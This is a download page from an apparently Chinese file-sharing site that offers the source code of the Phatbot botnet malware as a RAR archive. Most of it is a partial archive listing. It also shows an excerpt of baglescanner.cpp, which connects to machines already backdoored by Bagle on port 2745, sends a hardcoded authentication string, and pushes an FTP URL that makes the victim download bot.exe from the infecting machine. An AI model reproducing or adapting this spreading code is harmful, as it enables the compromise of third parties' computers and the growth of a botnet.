• 大小: 11.83MB
    文件类型: .rar
    金币: 1
    下载: 0 次
    发布日期: 2023-07-29
  • 语言: C/C++
  • 标签: 病毒  安全  源代码  

资源简介

病毒Phatbot源代码,使用C++ STL编写

资源截图

代码片段和文件信息

/*$T baglescanner.cpp GC 1.138 03/15/04 03:20:05 */


/*$6
 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
 */


#include “main.h“
#include “mainctrl.h“
#include “utility.h“

class CScannerBagle :
public CScannerbase
{
/*
 -----------------------------------------------------------------------------------------------------------------------
 -----------------------------------------------------------------------------------------------------------------------
 */
public:
CScannerBagle(void);
virtual ~CScannerBagle()
throw()
{
}
bool Exploit(void);
};

#define BAGLE_DEFAULT_PORT 2745

/*
 * Bagle.C : 3E7506B1 Bagle.E : 3E7506B1 Bagle.F : 9C0209C4 Bagle.G : 9C0209C4
 * Bagle.H : 9C0209C4 Bagle.J : 9C0209C4 Bagle.K : 9C0209C4 ?
 */

/*
 * OLD if someone thinks we should still send for the old version(that has timed out)
 * do it I‘m too lazy and I doubt there is much point [thegeek] 
 */

//char    bagle_auth1[] = “\x43\xFF\xFF\xFF\x30\x30\x30\x01\x0A\x1F\x2B\x28\x2B\xA1\x32\x01“;
char bagle_auth2[] = “\x43\xFF\xFF\xFF\x30\x30\x30\x01\x0A\x28\x91\xA1\x2B\xE6\x60\x2F\x32\x8F\x60\x15\x1A\x20\x1A“;
char spreadurl[] = “URL“;

/*
 =======================================================================================================================
 =======================================================================================================================
 */

CScannerBagle::CScannerBagle(void)
{
m_szType = “CScannerBagle“;
m_sScannerName.Assign(“Bagle“);
}

/*
 =======================================================================================================================
 =======================================================================================================================
 */
bool CScannerBagle::Exploit(void)
{
/*~~~~~~~~~~~~~~~~~~~*/
char szRecvBuf[128];
/*~~~~~~~~~~~~~~~~~~~*/

if(!m_sSocket.Connect(m_sSocket.m_szHost BAGLE_DEFAULT_PORT)) /* Connect failed exit */
{
return false;
}

if(g_pMainCtrl->m_cBot.scaninfo_level.iValue >= 2)
{
SendLocal(“%s: Scanning %s“ m_sScannerName.CStr() m_sSocket.m_szHost);
}

if(!m_sSocket.Write(bagle_auth2 sizeof(bagle_auth2)))
{
m_sSocket.Disconnect();
return false;
}

if(!m_sSocket.RecvTO(szRecvBuf 8 5000))
{
m_sSocket.Disconnect();
return false;
}

/*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/
int iPort = g_pMainCtrl->m_cBot.bot_ftrans_port_ftp.iValue;
CString sSpreadURL;
/*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/

sSpreadURL.Format(“ftp://bla:bla@%s:%d/bot.exe“ g_pMainCtrl->m_cIRC.m_sLocalIp.CStr() iPort);

/* Send the url to download file from use built in ftp. */
if(!m_sSocket.Write(sSpreadURL.CStr(

 属性            大小     日期    时间   名称
----------- ---------  ---------- -----  ----

     文件          0  2004-03-21 17:22  Phatbot-stoney\.svn\empty-file

     文件      36018  2004-03-22 21:01  Phatbot-stoney\.svn\entries

     文件          2  2004-03-21 17:22  Phatbot-stoney\.svn\format

     文件          4  2004-03-21 17:23  Phatbot-stoney\.svn\prop-base\3dnow.h.svn-base

     文件         30  2004-03-22 16:39  Phatbot-stoney\.svn\prop-base\acinit.sh.svn-base

     文件          4  2004-03-21 17:23  Phatbot-stoney\.svn\prop-base\agobot3.dsp.svn-base

     文件          4  2004-03-21 17:23  Phatbot-stoney\.svn\prop-base\agobot3.dsw.svn-base

     文件          4  2004-03-21 17:23  Phatbot-stoney\.svn\prop-base\agobot3.rc.svn-base

     文件          4  2004-03-21 17:23  Phatbot-stoney\.svn\prop-base\apl.txt.svn-base

     文件         53  2004-03-21 17:23  Phatbot-stoney\.svn\prop-base\asmstub.OBJ.svn-base

     文件          4  2004-03-21 17:22  Phatbot-stoney\.svn\prop-base\baglescanner.cpp.svn-base

     文件          4  2004-03-21 17:23  Phatbot-stoney\.svn\prop-base\bnc.cpp.svn-base

     文件          4  2004-03-21 17:23  Phatbot-stoney\.svn\prop-base\bnc.h.svn-base

     文件          4  2004-03-22 16:39  Phatbot-stoney\.svn\prop-base\bot.cpp.svn-base

     文件          4  2004-03-21 17:22  Phatbot-stoney\.svn\prop-base\bot.h.svn-base

     文件          4  2004-03-21 17:22  Phatbot-stoney\.svn\prop-base\build.h.svn-base

     文件         30  2004-03-21 17:23  Phatbot-stoney\.svn\prop-base\build.sh.svn-base

     文件          4  2004-03-22 21:01  Phatbot-stoney\.svn\prop-base\changes.txt.svn-base

     文件          4  2004-03-21 17:23  Phatbot-stoney\.svn\prop-base\cmdbase.h.svn-base

     文件          4  2004-03-21 17:22  Phatbot-stoney\.svn\prop-base\cmdline.cpp.svn-base

     文件          4  2004-03-21 17:22  Phatbot-stoney\.svn\prop-base\cmdline.h.svn-base

     文件          4  2004-03-21 17:22  Phatbot-stoney\.svn\prop-base\cmdopt.h.svn-base

     文件          4  2004-03-21 17:23  Phatbot-stoney\.svn\prop-base\cmdshell.cpp.svn-base

     文件          4  2004-03-21 17:23  Phatbot-stoney\.svn\prop-base\cmdshell.h.svn-base

     文件          4  2004-03-21 17:23  Phatbot-stoney\.svn\prop-base\commands.cpp.svn-base

     文件          4  2004-03-21 17:22  Phatbot-stoney\.svn\prop-base\commands.h.svn-base

     文件          4  2004-03-21 17:23  Phatbot-stoney\.svn\prop-base\confbase.h.svn-base

     文件          4  2004-03-22 21:01  Phatbot-stoney\.svn\prop-base\config.cpp.svn-base

     文件          4  2004-03-21 17:23  Phatbot-stoney\.svn\prop-base\config.def.svn-base

     文件         53  2004-03-22 16:39  Phatbot-stoney\.svn\prop-base\configgui.exe.svn-base

............此处省略1418个文件信息

评论

共有 条评论